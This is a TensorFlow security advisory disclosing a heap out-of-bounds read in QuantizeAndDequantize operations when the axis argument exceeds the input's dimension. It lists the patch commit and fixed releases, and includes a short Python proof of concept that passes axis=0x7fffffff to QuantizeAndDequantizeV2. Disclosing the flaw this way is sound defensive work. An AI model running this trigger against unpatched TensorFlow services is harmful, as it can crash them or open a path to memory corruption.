TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.

When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound.

Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

```python

import tensorflow as tf

@tf.function

def test():

tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],

input_min=[1.0],

input_max=[10.0],

signed_input=True,

num_bits=1,

range_given=True,

round_mode='HALF_TO_EVEN',

narrow_range=True,

axis=0x7fffffff)

test()

`

Patches

We have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.